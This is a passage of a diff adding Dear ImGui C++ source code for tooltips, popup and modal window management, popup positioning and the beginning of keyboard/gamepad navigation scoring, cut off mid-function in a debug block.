SetNextWindowPos(tooltip_pos); + SetNextWindowBgAlpha(g.Style.Colors[ImGuiCol_PopupBg].w * 0.60f); + //PushStyleVar(ImGuiStyleVar_Alpha, g.Style.Alpha * 0.60f); // This would be nice but e.g ColorButton with checkboard has issue with transparent colors :( + tooltip_flags |= ImGuiTooltipFlags_OverridePreviousTooltip; + } + + char window_name[16]; + ImFormatString(window_name, IM_ARRAYSIZE(window_name), "##Tooltip_%02d", g.TooltipOverrideCount); + if (tooltip_flags & ImGuiTooltipFlags_OverridePreviousTooltip) + if (ImGuiWindow* window = FindWindowByName(window_name)) + if (window->Active) + { + // Hide previous tooltip from being displayed. We can't easily "reset" the content of a window so we create a new one. + window->Hidden = true; + window->HiddenFramesCanSkipItems = 1; // FIXME: This may not be necessary? + ImFormatString(window_name, IM_ARRAYSIZE(window_name), "##Tooltip_%02d", ++g.TooltipOverrideCount); + } + ImGuiWindowFlags flags = ImGuiWindowFlags_Tooltip | ImGuiWindowFlags_NoInputs | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_AlwaysAutoResize; + Begin(window_name, NULL, flags | extra_flags); +} + +void ImGui::EndTooltip() +{ + IM_ASSERT(GetCurrentWindowRead()->Flags & ImGuiWindowFlags_Tooltip); // Mismatched BeginTooltip()/EndTooltip() calls + End(); +} + +void ImGui::SetTooltipV(const char* fmt, va_list args) +{ + BeginTooltipEx(0, ImGuiTooltipFlags_OverridePreviousTooltip); + TextV(fmt, args); + EndTooltip(); +} + +void ImGui::SetTooltip(const char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + SetTooltipV(fmt, args); + va_end(args); +} + +//----------------------------------------------------------------------------- +// [SECTION] POPUPS +//----------------------------------------------------------------------------- + +// Supported flags: ImGuiPopupFlags_AnyPopupId, ImGuiPopupFlags_AnyPopupLevel +bool ImGui::IsPopupOpen(ImGuiID id, ImGuiPopupFlags popup_flags) +{ + ImGuiContext& g = *GImGui; + if (popup_flags & ImGuiPopupFlags_AnyPopupId) + { + // Return true if any popup is open at the current BeginPopup() level of the popup stack + // This may be used to e.g. test for another popups already opened to handle popups priorities at the same level. + IM_ASSERT(id == 0); + if (popup_flags & ImGuiPopupFlags_AnyPopupLevel) + return g.OpenPopupStack.Size > 0; + else + return g.OpenPopupStack.Size > g.BeginPopupStack.Size; + } + else + { + if (popup_flags & ImGuiPopupFlags_AnyPopupLevel) + { + // Return true if the popup is open anywhere in the popup stack + for (int n = 0; n < g.OpenPopupStack.Size; n++) + if (g.OpenPopupStack[n].PopupId == id) + return true; + return false; + } + else + { + // Return true if the popup is open at the current BeginPopup() level of the popup stack (this is the most-common query) + return g.OpenPopupStack.Size > g.BeginPopupStack.Size && g.OpenPopupStack[g.BeginPopupStack.Size].PopupId == id; + } + } +} + +bool ImGui::IsPopupOpen(const char* str_id, ImGuiPopupFlags popup_flags) +{ + ImGuiContext& g = *GImGui; + ImGuiID id = (popup_flags & ImGuiPopupFlags_AnyPopupId) ? 0 : g.CurrentWindow->GetID(str_id); + if ((popup_flags & ImGuiPopupFlags_AnyPopupLevel) && id != 0) + IM_ASSERT(0 && "Cannot use IsPopupOpen() with a string id and ImGuiPopupFlags_AnyPopupLevel."); // But non-string version is legal and used internally + return IsPopupOpen(id, popup_flags); +} + +ImGuiWindow* ImGui::GetTopMostPopupModal() +{ + ImGuiContext& g = *GImGui; + for (int n = g.OpenPopupStack.Size - 1; n >= 0; n--) + if (ImGuiWindow* popup = g.OpenPopupStack.Data[n].Window) + if (popup->Flags & ImGuiWindowFlags_Modal) + return popup; + return NULL; +} + +void ImGui::OpenPopup(const char* str_id, ImGuiPopupFlags popup_flags) +{ + ImGuiContext& g = *GImGui; + OpenPopupEx(g.CurrentWindow->GetID(str_id), popup_flags); +} + +// Mark popup as open (toggle toward open state). +// Popups are closed when user click outside, or activate a pressable item, or CloseCurrentPopup() is called within a BeginPopup()/EndPopup() block. +// Popup identifiers are relative to the current ID-stack (so OpenPopup and BeginPopup needs to be at the same level). +// One open popup per level of the popup hierarchy (NB: when assigning we reset the Window member of ImGuiPopupRef to NULL) +void ImGui::OpenPopupEx(ImGuiID id, ImGuiPopupFlags popup_flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* parent_window = g.CurrentWindow; + const int current_stack_size = g.BeginPopupStack.Size; + + if (popup_flags & ImGuiPopupFlags_NoOpenOverExistingPopup) + if (IsPopupOpen(0u, ImGuiPopupFlags_AnyPopupId)) + return; + + ImGuiPopupData popup_ref; // Tagged as new ref as Window will be set back to NULL if we write this into OpenPopupStack. + popup_ref.PopupId = id; + popup_ref.Window = NULL; + popup_ref.SourceWindow = g.NavWindow; + popup_ref.OpenFrameCount = g.FrameCount; + popup_ref.OpenParentId = parent_window->IDStack.back(); + popup_ref.OpenPopupPos = NavCalcPreferredRefPos(); + popup_ref.OpenMousePos = IsMousePosValid(&g.IO.MousePos) ? g.IO.MousePos : popup_ref.OpenPopupPos; + + IMGUI_DEBUG_LOG_POPUP("OpenPopupEx(0x%08X)\n", id); + if (g.OpenPopupStack.Size < current_stack_size + 1) + { + g.OpenPopupStack.push_back(popup_ref); + } + else + { + // Gently handle the user mistakenly calling OpenPopup() every frame. It is a programming mistake! However, if we were to run the regular code path, the ui + // would become completely unusable because the popup will always be in hidden-while-calculating-size state _while_ claiming focus. Which would be a very confusing + // situation for the programmer. Instead, we silently allow the popup to proceed, it will keep reappearing and the programming error will be more obvious to understand. + if (g.OpenPopupStack[current_stack_size].PopupId == id && g.OpenPopupStack[current_stack_size].OpenFrameCount == g.FrameCount - 1) + { + g.OpenPopupStack[current_stack_size].OpenFrameCount = popup_ref.OpenFrameCount; + } + else + { + // Close child popups if any, then flag popup for open/reopen + ClosePopupToLevel(current_stack_size, false); + g.OpenPopupStack.push_back(popup_ref); + } + + // When reopening a popup we first refocus its parent, otherwise if its parent is itself a popup it would get closed by ClosePopupsOverWindow(). + // This is equivalent to what ClosePopupToLevel() does. + //if (g.OpenPopupStack[current_stack_size].PopupId == id) + // FocusWindow(parent_window); + } +} + +// When popups are stacked, clicking on a lower level popups puts focus back to it and close popups above it. +// This function closes any popups that are over 'ref_window'. +void ImGui::ClosePopupsOverWindow(ImGuiWindow* ref_window, bool restore_focus_to_window_under_popup) +{ + ImGuiContext& g = *GImGui; + if (g.OpenPopupStack.Size == 0) + return; + + // Don't close our own child popup windows. + int popup_count_to_keep = 0; + if (ref_window) + { + // Find the highest popup which is a descendant of the reference window (generally reference window = NavWindow) + for (; popup_count_to_keep < g.OpenPopupStack.Size; popup_count_to_keep++) + { + ImGuiPopupData& popup = g.OpenPopupStack[popup_count_to_keep]; + if (!popup.Window) + continue; + IM_ASSERT((popup.Window->Flags & ImGuiWindowFlags_Popup) != 0); + if (popup.Window->Flags & ImGuiWindowFlags_ChildWindow) + continue; + + // Trim the stack unless the popup is a direct parent of the reference window (the reference window is often the NavWindow) + // - With this stack of window, clicking/focusing Popup1 will close Popup2 and Popup3: + // Window -> Popup1 -> Popup2 -> Popup3 + // - Each popups may contain child windows, which is why we compare ->RootWindow! + // Window -> Popup1 -> Popup1_Child -> Popup2 -> Popup2_Child + bool ref_window_is_descendent_of_popup = false; + for (int n = popup_count_to_keep; n < g.OpenPopupStack.Size; n++) + if (ImGuiWindow* popup_window = g.OpenPopupStack[n].Window) + if (popup_window->RootWindow == ref_window->RootWindow) + { + ref_window_is_descendent_of_popup = true; + break; + } + if (!ref_window_is_descendent_of_popup) + break; + } + } + if (popup_count_to_keep < g.OpenPopupStack.Size) // This test is not required but it allows to set a convenient breakpoint on the statement below + { + IMGUI_DEBUG_LOG_POPUP("ClosePopupsOverWindow(\"%s\") -> ClosePopupToLevel(%d)\n", ref_window->Name, popup_count_to_keep); + ClosePopupToLevel(popup_count_to_keep, restore_focus_to_window_under_popup); + } +} + +void ImGui::ClosePopupToLevel(int remaining, bool restore_focus_to_window_under_popup) +{ + ImGuiContext& g = *GImGui; + IMGUI_DEBUG_LOG_POPUP("ClosePopupToLevel(%d), restore_focus_to_window_under_popup=%d\n", remaining, restore_focus_to_window_under_popup); + IM_ASSERT(remaining >= 0 && remaining < g.OpenPopupStack.Size); + + // Trim open popup stack + ImGuiWindow* focus_window = g.OpenPopupStack[remaining].SourceWindow; + ImGuiWindow* popup_window = g.OpenPopupStack[remaining].Window; + g.OpenPopupStack.resize(remaining); + + if (restore_focus_to_window_under_popup) + { + if (focus_window && !focus_window->WasActive && popup_window) + { + // Fallback + FocusTopMostWindowUnderOne(popup_window, NULL); + } + else + { + if (g.NavLayer == ImGuiNavLayer_Main && focus_window) + focus_window = NavRestoreLastChildNavWindow(focus_window); + FocusWindow(focus_window); + } + } +} + +// Close the popup we have begin-ed into. +void ImGui::CloseCurrentPopup() +{ + ImGuiContext& g = *GImGui; + int popup_idx = g.BeginPopupStack.Size - 1; + if (popup_idx < 0 || popup_idx >= g.OpenPopupStack.Size || g.BeginPopupStack[popup_idx].PopupId != g.OpenPopupStack[popup_idx].PopupId) + return; + + // Closing a menu closes its top-most parent popup (unless a modal) + while (popup_idx > 0) + { + ImGuiWindow* popup_window = g.OpenPopupStack[popup_idx].Window; + ImGuiWindow* parent_popup_window = g.OpenPopupStack[popup_idx - 1].Window; + bool close_parent = false; + if (popup_window && (popup_window->Flags & ImGuiWindowFlags_ChildMenu)) + if (parent_popup_window == NULL || !(parent_popup_window->Flags & ImGuiWindowFlags_Modal)) + close_parent = true; + if (!close_parent) + break; + popup_idx--; + } + IMGUI_DEBUG_LOG_POPUP("CloseCurrentPopup %d -> %d\n", g.BeginPopupStack.Size - 1, popup_idx); + ClosePopupToLevel(popup_idx, true); + + // A common pattern is to close a popup when selecting a menu item/selectable that will open another window. + // To improve this usage pattern, we avoid nav highlight for a single frame in the parent window. + // Similarly, we could avoid mouse hover highlight in this window but it is less visually problematic. + if (ImGuiWindow* window = g.NavWindow) + window->DC.NavHideHighlightOneFrame = true; +} + +// Attention! BeginPopup() adds default flags which BeginPopupEx()! +bool ImGui::BeginPopupEx(ImGuiID id, ImGuiWindowFlags flags) +{ + ImGuiContext& g = *GImGui; + if (!IsPopupOpen(id, ImGuiPopupFlags_None)) + { + g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values + return false; + } + + char name[20]; + if (flags & ImGuiWindowFlags_ChildMenu) + ImFormatString(name, IM_ARRAYSIZE(name), "##Menu_%02d", g.BeginPopupStack.Size); // Recycle windows based on depth + else + ImFormatString(name, IM_ARRAYSIZE(name), "##Popup_%08x", id); // Not recycling, so we can close/open during the same frame + + flags |= ImGuiWindowFlags_Popup; + bool is_open = Begin(name, NULL, flags); + if (!is_open) // NB: Begin can return false when the popup is completely clipped (e.g. zero size display) + EndPopup(); + + return is_open; +} + +bool ImGui::BeginPopup(const char* str_id, ImGuiWindowFlags flags) +{ + ImGuiContext& g = *GImGui; + if (g.OpenPopupStack.Size <= g.BeginPopupStack.Size) // Early out for performance + { + g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values + return false; + } + flags |= ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings; + return BeginPopupEx(g.CurrentWindow->GetID(str_id), flags); +} + +// If 'p_open' is specified for a modal popup window, the popup will have a regular close button which will close the popup. +// Note that popup visibility status is owned by Dear ImGui (and manipulated with e.g. OpenPopup) so the actual value of *p_open is meaningless here. +bool ImGui::BeginPopupModal(const char* name, bool* p_open, ImGuiWindowFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + const ImGuiID id = window->GetID(name); + if (!IsPopupOpen(id, ImGuiPopupFlags_None)) + { + g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values + return false; + } + + // Center modal windows by default for increased visibility + // (this won't really last as settings will kick in, and is mostly for backward compatibility. user may do the same themselves) + // FIXME: Should test for (PosCond & window->SetWindowPosAllowFlags) with the upcoming window. + if ((g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasPos) == 0) + SetNextWindowPos(g.IO.DisplaySize * 0.5f, ImGuiCond_FirstUseEver, ImVec2(0.5f, 0.5f)); + + flags |= ImGuiWindowFlags_Popup | ImGuiWindowFlags_Modal | ImGuiWindowFlags_NoCollapse; + const bool is_open = Begin(name, p_open, flags); + if (!is_open || (p_open && !*p_open)) // NB: is_open can be 'false' when the popup is completely clipped (e.g. zero size display) + { + EndPopup(); + if (is_open) + ClosePopupToLevel(g.BeginPopupStack.Size, true); + return false; + } + return is_open; +} + +void ImGui::EndPopup() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(window->Flags & ImGuiWindowFlags_Popup); // Mismatched BeginPopup()/EndPopup() calls + IM_ASSERT(g.BeginPopupStack.Size > 0); + + // Make all menus and popups wrap around for now, may need to expose that policy. + if (g.NavWindow == window) + NavMoveRequestTryWrapping(window, ImGuiNavMoveFlags_LoopY); + + // Child-popups don't need to be laid out + IM_ASSERT(g.WithinEndChild == false); + if (window->Flags & ImGuiWindowFlags_ChildWindow) + g.WithinEndChild = true; + End(); + g.WithinEndChild = false; +} + +// Helper to open a popup if mouse button is released over the item +// - This is essentially the same as BeginPopupContextItem() but without the trailing BeginPopup() +void ImGui::OpenPopupOnItemClick(const char* str_id, ImGuiPopupFlags popup_flags) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); + if (IsMouseReleased(mouse_button) && IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup)) + { + ImGuiID id = str_id ? window->GetID(str_id) : window->DC.LastItemId; // If user hasn't passed an ID, we can use the LastItemID. Using LastItemID as a Popup ID won't conflict! + IM_ASSERT(id != 0); // You cannot pass a NULL str_id if the last item has no identifier (e.g. a Text() item) + OpenPopupEx(id, popup_flags); + } +} + +// This is a helper to handle the simplest case of associating one named popup to one given widget. +// - You can pass a NULL str_id to use the identifier of the last item. +// - You may want to handle this on user side if you have specific needs (e.g. tweaking IsItemHovered() parameters). +// - This is essentially the same as calling OpenPopupOnItemClick() + BeginPopup() but written to avoid +// computing the ID twice because BeginPopupContextXXX functions may be called very frequently. +bool ImGui::BeginPopupContextItem(const char* str_id, ImGuiPopupFlags popup_flags) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + if (window->SkipItems) + return false; + ImGuiID id = str_id ? window->GetID(str_id) : window->DC.LastItemId; // If user hasn't passed an ID, we can use the LastItemID. Using LastItemID as a Popup ID won't conflict! + IM_ASSERT(id != 0); // You cannot pass a NULL str_id if the last item has no identifier (e.g. a Text() item) + int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); + if (IsMouseReleased(mouse_button) && IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup)) + OpenPopupEx(id, popup_flags); + return BeginPopupEx(id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings); +} + +bool ImGui::BeginPopupContextWindow(const char* str_id, ImGuiPopupFlags popup_flags) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + if (!str_id) + str_id = "window_context"; + ImGuiID id = window->GetID(str_id); + int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); + if (IsMouseReleased(mouse_button) && IsWindowHovered(ImGuiHoveredFlags_AllowWhenBlockedByPopup)) + if (!(popup_flags & ImGuiPopupFlags_NoOpenOverItems) || !IsAnyItemHovered()) + OpenPopupEx(id, popup_flags); + return BeginPopupEx(id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings); +} + +bool ImGui::BeginPopupContextVoid(const char* str_id, ImGuiPopupFlags popup_flags) +{ + ImGuiWindow* window = GImGui->CurrentWindow; + if (!str_id) + str_id = "void_context"; + ImGuiID id = window->GetID(str_id); + int mouse_button = (popup_flags & ImGuiPopupFlags_MouseButtonMask_); + if (IsMouseReleased(mouse_button) && !IsWindowHovered(ImGuiHoveredFlags_AnyWindow)) + if (GetTopMostPopupModal() == NULL) + OpenPopupEx(id, popup_flags); + return BeginPopupEx(id, ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoSavedSettings); +} + +// r_avoid = the rectangle to avoid (e.g. for tooltip it is a rectangle around the mouse cursor which we want to avoid. for popups it's a small point around the cursor.) +// r_outer = the visible area rectangle, minus safe area padding. If our popup size won't fit because of safe area padding we ignore it. +ImVec2 ImGui::FindBestWindowPosForPopupEx(const ImVec2& ref_pos, const ImVec2& size, ImGuiDir* last_dir, const ImRect& r_outer, const ImRect& r_avoid, ImGuiPopupPositionPolicy policy) +{ + ImVec2 base_pos_clamped = ImClamp(ref_pos, r_outer.Min, r_outer.Max - size); + //GetForegroundDrawList()->AddRect(r_avoid.Min, r_avoid.Max, IM_COL32(255,0,0,255)); + //GetForegroundDrawList()->AddRect(r_outer.Min, r_outer.Max, IM_COL32(0,255,0,255)); + + // Combo Box policy (we want a connecting edge) + if (policy == ImGuiPopupPositionPolicy_ComboBox) + { + const ImGuiDir dir_prefered_order[ImGuiDir_COUNT] = { ImGuiDir_Down, ImGuiDir_Right, ImGuiDir_Left, ImGuiDir_Up }; + for (int n = (*last_dir != ImGuiDir_None) ? -1 : 0; n < ImGuiDir_COUNT; n++) + { + const ImGuiDir dir = (n == -1) ? *last_dir : dir_prefered_order[n]; + if (n != -1 && dir == *last_dir) // Already tried this direction? + continue; + ImVec2 pos; + if (dir == ImGuiDir_Down) pos = ImVec2(r_avoid.Min.x, r_avoid.Max.y); // Below, Toward Right (default) + if (dir == ImGuiDir_Right) pos = ImVec2(r_avoid.Min.x, r_avoid.Min.y - size.y); // Above, Toward Right + if (dir == ImGuiDir_Left) pos = ImVec2(r_avoid.Max.x - size.x, r_avoid.Max.y); // Below, Toward Left + if (dir == ImGuiDir_Up) pos = ImVec2(r_avoid.Max.x - size.x, r_avoid.Min.y - size.y); // Above, Toward Left + if (!r_outer.Contains(ImRect(pos, pos + size))) + continue; + *last_dir = dir; + return pos; + } + } + + // Tooltip and Default popup policy + // (Always first try the direction we used on the last frame, if any) + if (policy == ImGuiPopupPositionPolicy_Tooltip || policy == ImGuiPopupPositionPolicy_Default) + { + const ImGuiDir dir_prefered_order[ImGuiDir_COUNT] = { ImGuiDir_Right, ImGuiDir_Down, ImGuiDir_Up, ImGuiDir_Left }; + for (int n = (*last_dir != ImGuiDir_None) ? -1 : 0; n < ImGuiDir_COUNT; n++) + { + const ImGuiDir dir = (n == -1) ? *last_dir : dir_prefered_order[n]; + if (n != -1 && dir == *last_dir) // Already tried this direction? + continue; + + const float avail_w = (dir == ImGuiDir_Left ? r_avoid.Min.x : r_outer.Max.x) - (dir == ImGuiDir_Right ? r_avoid.Max.x : r_outer.Min.x); + const float avail_h = (dir == ImGuiDir_Up ? r_avoid.Min.y : r_outer.Max.y) - (dir == ImGuiDir_Down ? r_avoid.Max.y : r_outer.Min.y); + + // If there not enough room on one axis, there's no point in positioning on a side on this axis (e.g. when not enough width, use a top/bottom position to maximize available width) + if (avail_w < size.x && (dir == ImGuiDir_Left || dir == ImGuiDir_Right)) + continue; + if (avail_h < size.y && (dir == ImGuiDir_Up || dir == ImGuiDir_Down)) + continue; + + ImVec2 pos; + pos.x = (dir == ImGuiDir_Left) ? r_avoid.Min.x - size.x : (dir == ImGuiDir_Right) ? r_avoid.Max.x : base_pos_clamped.x; + pos.y = (dir == ImGuiDir_Up) ? r_avoid.Min.y - size.y : (dir == ImGuiDir_Down) ? r_avoid.Max.y : base_pos_clamped.y; + + // Clamp top-left corner of popup + pos.x = ImMax(pos.x, r_outer.Min.x); + pos.y = ImMax(pos.y, r_outer.Min.y); + + *last_dir = dir; + return pos; + } + } + + // Fallback when not enough room: + *last_dir = ImGuiDir_None; + + // For tooltip we prefer avoiding the cursor at all cost even if it means that part of the tooltip won't be visible. + if (policy == ImGuiPopupPositionPolicy_Tooltip) + return ref_pos + ImVec2(2, 2); + + // Otherwise try to keep within display + ImVec2 pos = ref_pos; + pos.x = ImMax(ImMin(pos.x + size.x, r_outer.Max.x) - size.x, r_outer.Min.x); + pos.y = ImMax(ImMin(pos.y + size.y, r_outer.Max.y) - size.y, r_outer.Min.y); + return pos; +} + +ImRect ImGui::GetWindowAllowedExtentRect(ImGuiWindow* window) +{ + IM_UNUSED(window); + ImVec2 padding = GImGui->Style.DisplaySafeAreaPadding; + ImRect r_screen = GetViewportRect(); + r_screen.Expand(ImVec2((r_screen.GetWidth() > padding.x * 2) ? -padding.x : 0.0f, (r_screen.GetHeight() > padding.y * 2) ? -padding.y : 0.0f)); + return r_screen; +} + +ImVec2 ImGui::FindBestWindowPosForPopup(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + + ImRect r_outer = GetWindowAllowedExtentRect(window); + if (window->Flags & ImGuiWindowFlags_ChildMenu) + { + // Child menus typically request _any_ position within the parent menu item, and then we move the new menu outside the parent bounds. + // This is how we end up with child menus appearing (most-commonly) on the right of the parent menu. + IM_ASSERT(g.CurrentWindow == window); + ImGuiWindow* parent_window = g.CurrentWindowStack[g.CurrentWindowStack.Size - 2]; + float horizontal_overlap = g.Style.ItemInnerSpacing.x; // We want some overlap to convey the relative depth of each menu (currently the amount of overlap is hard-coded to style.ItemSpacing.x). + ImRect r_avoid; + if (parent_window->DC.MenuBarAppending) + r_avoid = ImRect(-FLT_MAX, parent_window->ClipRect.Min.y, FLT_MAX, parent_window->ClipRect.Max.y); // Avoid parent menu-bar. If we wanted multi-line menu-bar, we may instead want to have the calling window setup e.g. a NextWindowData.PosConstraintAvoidRect field + else + r_avoid = ImRect(parent_window->Pos.x + horizontal_overlap, -FLT_MAX, parent_window->Pos.x + parent_window->Size.x - horizontal_overlap - parent_window->ScrollbarSizes.x, FLT_MAX); + return FindBestWindowPosForPopupEx(window->Pos, window->Size, &window->AutoPosLastDirection, r_outer, r_avoid, ImGuiPopupPositionPolicy_Default); + } + if (window->Flags & ImGuiWindowFlags_Popup) + { + ImRect r_avoid = ImRect(window->Pos.x - 1, window->Pos.y - 1, window->Pos.x + 1, window->Pos.y + 1); + return FindBestWindowPosForPopupEx(window->Pos, window->Size, &window->AutoPosLastDirection, r_outer, r_avoid, ImGuiPopupPositionPolicy_Default); + } + if (window->Flags & ImGuiWindowFlags_Tooltip) + { + // Position tooltip (always follows mouse) + float sc = g.Style.MouseCursorScale; + ImVec2 ref_pos = NavCalcPreferredRefPos(); + ImRect r_avoid; + if (!g.NavDisableHighlight && g.NavDisableMouseHover && !(g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableSetMousePos)) + r_avoid = ImRect(ref_pos.x - 16, ref_pos.y - 8, ref_pos.x + 16, ref_pos.y + 8); + else + r_avoid = ImRect(ref_pos.x - 16, ref_pos.y - 8, ref_pos.x + 24 * sc, ref_pos.y + 24 * sc); // FIXME: Hard-coded based on mouse cursor shape expectation. Exact dimension not very important. + return FindBestWindowPosForPopupEx(ref_pos, window->Size, &window->AutoPosLastDirection, r_outer, r_avoid, ImGuiPopupPositionPolicy_Tooltip); + } + IM_ASSERT(0); + return window->Pos; +} + +//----------------------------------------------------------------------------- +// [SECTION] KEYBOARD/GAMEPAD NAVIGATION +//----------------------------------------------------------------------------- + +// FIXME-NAV: The existence of SetNavID vs SetNavIDWithRectRel vs SetFocusID is incredibly messy and confusing, +// and needs some explanation or serious refactoring. +void ImGui::SetNavID(ImGuiID id, int nav_layer, ImGuiID focus_scope_id) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.NavWindow); + IM_ASSERT(nav_layer == 0 || nav_layer == 1); + g.NavId = id; + g.NavFocusScopeId = focus_scope_id; + g.NavWindow->NavLastIds[nav_layer] = id; +} + +void ImGui::SetNavIDWithRectRel(ImGuiID id, int nav_layer, ImGuiID focus_scope_id, const ImRect& rect_rel) +{ + ImGuiContext& g = *GImGui; + SetNavID(id, nav_layer, focus_scope_id); + g.NavWindow->NavRectRel[nav_layer] = rect_rel; + g.NavMousePosDirty = true; + g.NavDisableHighlight = false; + g.NavDisableMouseHover = true; +} + +void ImGui::SetFocusID(ImGuiID id, ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(id != 0); + + // Assume that SetFocusID() is called in the context where its window->DC.NavLayerCurrent and window->DC.NavFocusScopeIdCurrent are valid. + // Note that window may be != g.CurrentWindow (e.g. SetFocusID call in InputTextEx for multi-line text) + const ImGuiNavLayer nav_layer = window->DC.NavLayerCurrent; + if (g.NavWindow != window) + g.NavInitRequest = false; + g.NavWindow = window; + g.NavId = id; + g.NavLayer = nav_layer; + g.NavFocusScopeId = window->DC.NavFocusScopeIdCurrent; + window->NavLastIds[nav_layer] = id; + if (window->DC.LastItemId == id) + window->NavRectRel[nav_layer] = ImRect(window->DC.LastItemRect.Min - window->Pos, window->DC.LastItemRect.Max - window->Pos); + + if (g.ActiveIdSource == ImGuiInputSource_Nav) + g.NavDisableMouseHover = true; + else + g.NavDisableHighlight = true; +} + +ImGuiDir ImGetDirQuadrantFromDelta(float dx, float dy) +{ + if (ImFabs(dx) > ImFabs(dy)) + return (dx > 0.0f) ? ImGuiDir_Right : ImGuiDir_Left; + return (dy > 0.0f) ? ImGuiDir_Down : ImGuiDir_Up; +} + +static float inline NavScoreItemDistInterval(float a0, float a1, float b0, float b1) +{ + if (a1 < b0) + return a1 - b0; + if (b1 < a0) + return a0 - b1; + return 0.0f; +} + +static void inline NavClampRectToVisibleAreaForMoveDir(ImGuiDir move_dir, ImRect& r, const ImRect& clip_rect) +{ + if (move_dir == ImGuiDir_Left || move_dir == ImGuiDir_Right) + { + r.Min.y = ImClamp(r.Min.y, clip_rect.Min.y, clip_rect.Max.y); + r.Max.y = ImClamp(r.Max.y, clip_rect.Min.y, clip_rect.Max.y); + } + else + { + r.Min.x = ImClamp(r.Min.x, clip_rect.Min.x, clip_rect.Max.x); + r.Max.x = ImClamp(r.Max.x, clip_rect.Min.x, clip_rect.Max.x); + } +} + +// Scoring function for gamepad/keyboard directional navigation. Based on https://gist.github.com/rygorous/6981057 +static bool ImGui::NavScoreItem(ImGuiNavMoveResult* result, ImRect cand) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (g.NavLayer != window->DC.NavLayerCurrent) + return false; + + const ImRect& curr = g.NavScoringRect; // Current modified source rect (NB: we've applied Max.x = Min.x in NavUpdate() to inhibit the effect of having varied item width) + g.NavScoringCount++; + + // When entering through a NavFlattened border, we consider child window items as fully clipped for scoring + if (window->ParentWindow == g.NavWindow) + { + IM_ASSERT((window->Flags | g.NavWindow->Flags) & ImGuiWindowFlags_NavFlattened); + if (!window->ClipRect.Overlaps(cand)) + return false; + cand.ClipWithFull(window->ClipRect); // This allows the scored item to not overlap other candidates in the parent window + } + + // We perform scoring on items bounding box clipped by the current clipping rectangle on the other axis (clipping on our movement axis would give us equal scores for all clipped items) + // For example, this ensure that items in one column are not reached when moving vertically from items in another column. + NavClampRectToVisibleAreaForMoveDir(g.NavMoveClipDir, cand, window->ClipRect); + + // Compute distance between boxes + // FIXME-NAV: Introducing biases for vertical navigation, needs to be removed. + float dbx = NavScoreItemDistInterval(cand.Min.x, cand.Max.x, curr.Min.x, curr.Max.x); + float dby = NavScoreItemDistInterval(ImLerp(cand.Min.y, cand.Max.y, 0.2f), ImLerp(cand.Min.y, cand.Max.y, 0.8f), ImLerp(curr.Min.y, curr.Max.y, 0.2f), ImLerp(curr.Min.y, curr.Max.y, 0.8f)); // Scale down on Y to keep using box-distance for vertically touching items + if (dby != 0.0f && dbx != 0.0f) + dbx = (dbx / 1000.0f) + ((dbx > 0.0f) ? +1.0f : -1.0f); + float dist_box = ImFabs(dbx) + ImFabs(dby); + + // Compute distance between centers (this is off by a factor of 2, but we only compare center distances with each other so it doesn't matter) + float dcx = (cand.Min.x + cand.Max.x) - (curr.Min.x + curr.Max.x); + float dcy = (cand.Min.y + cand.Max.y) - (curr.Min.y + curr.Max.y); + float dist_center = ImFabs(dcx) + ImFabs(dcy); // L1 metric (need this for our connectedness guarantee) + + // Determine which quadrant of 'curr' our candidate item 'cand' lies in based on distance + ImGuiDir quadrant; + float dax = 0.0f, day = 0.0f, dist_axial = 0.0f; + if (dbx != 0.0f || dby != 0.0f) + { + // For non-overlapping boxes, use distance between boxes + dax = dbx; + day = dby; + dist_axial = dist_box; + quadrant = ImGetDirQuadrantFromDelta(dbx, dby); + } + else if (dcx != 0.0f || dcy != 0.0f) + { + // For overlapping boxes with different centers, use distance between centers + dax = dcx; + day = dcy; + dist_axial = dist_center; + quadrant = ImGetDirQuadrantFromDelta(dcx, dcy); + } + else + { + // Degenerate case: two overlapping buttons with same center, break ties arbitrarily (note that LastItemId here is really the _previous_ item order, but it doesn't matter) + quadrant = (window->DC.LastItemId < g.NavId) ? ImGuiDir_Left : ImGuiDir_Right; + } + +#if IMGUI_DEBUG_NAV_SCORING + char buf[128]; + if (IsMouseHoveringRect(cand.Min, cand.Max)) + { + ImFormatString(buf, IM_ARRAYSIZE(buf), "dbox (%.2f,%.2f->%.4f)\ndcen (%.2f,%.2f->%.4f)\nd (%.2f,%.2f->%.4f)\nnav %c, quadrant %c", dbx, dby, dist_box, dcx, dcy, dist_center, dax, day, dist_axial, "WENS"[g.NavMoveDir], "WENS"[quadrant]); + ImDrawList* draw_list = GetForegroundDrawList(window); + draw_list->AddRect(curr.Min, curr.Max, IM_COL32(255, 200, 0, 100)); + draw_list->AddRect(cand.Min, cand.Max, 